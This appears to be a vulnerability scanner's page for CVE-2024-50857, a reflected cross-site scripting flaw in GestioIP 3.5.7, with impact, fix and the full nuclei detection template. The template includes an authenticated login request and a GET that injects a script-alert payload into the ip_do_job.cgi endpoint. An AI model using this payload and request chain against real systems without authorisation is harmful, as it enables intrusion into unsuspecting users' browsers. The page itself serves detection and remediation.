GestioIP - Reflected Cross-Site Scripting

mediumseverity

4.8CVSS score

1.2%likelihood of exploitation, next 30 days

70%of all CVEs are less likely

Readycheck to confirm it

GestioIP v3.5.7 contains a reflected cross-site scripting caused by unsanitized input in the ip_do_job request, letting attackers execute scripts in the victim's browser, exploit requires specific user permissions.

Impact

Attackers can execute scripts in victims' browsers, leading to data theft and potential CSRF attacks.

Fix

Sanitize user input in the ip_do_job request and update to the latest version of GestioIP.

How to confirm it

Send: POST /
Positive when: contains_all(body, "Gesti&oacute", "logout") and status_code == 200
Send: GET /gestioip/res/cm/ip_do_job.cgi?client_id=1&stored_config=%3Cscript%3Ealert(document.domain)%3C/script%3E
Positive when: contains(body, "bad format (6b) <script>alert(document.domain)</script>") and status_code == 200

Run it with nuclei: nuclei -id CVE-2024-50857 -u <target>

The full check

id: CVE-2024-50857

info:
  name: GestioIP - Reflected Cross-Site Scripting
  author: Gaurang
  severity: medium
  description: |
    GestioIP v3.5.7 contains a reflected cross-site scripting caused by unsanitized input in the ip_do_job request, letting attackers execute scripts in the victim's browser, exploit requires specific user permissions.
  impact: |
    Attackers can execute scripts in victims' browsers, leading to data theft and potential CSRF attacks.
  remediation: |
    Sanitize user input in the ip_do_job request and update to the latest version of GestioIP.
  reference:
    - https://github.com/maxibelino/CVEs/tree/main/CVE-2024-50857
    - https://github.com/muebel/gestioip-docker-compose
    - https://nvd.nist.gov/vuln/detail/CVE-2024-50857
    - http://www.gestioip.net
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 4.8
    cve-id: CVE-2024-50857
    cwe-id: CWE-79
    epss-score: 0.01249
    epss-percentile: 0.69598
    cpe: cpe:2.3:a:gestioip:gestioip:3.5.7:*:*:*:*:*:*:*
  metadata:
    verified: true
    vendor: gestioip
    product: gestioip
  tags: cve,cve2024,gestioip,xss,reflected,authenticated,vuln
flow: http(1) && http(2)

http:
  - raw:
      - |
        POST / HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        httpd_username={{username}}&httpd_password={{password}}&login=login&create_csrf_token=true

    matchers:
      - type: dsl
        dsl:
          - 'contains_all(body, "Gesti&oacute", "logout")'
          - 'status_code == 200'
        condition: and
        internal: true

  - raw:
      - |
        GET /gestioip/res/cm/ip_do_job.cgi?client_id=1&stored_config=%3Cscript%3Ealert(document.domain)%3C/script%3E HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(body, "bad format (6b) <script>alert(document.domain)</script>")'
          - 'status_code == 200'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from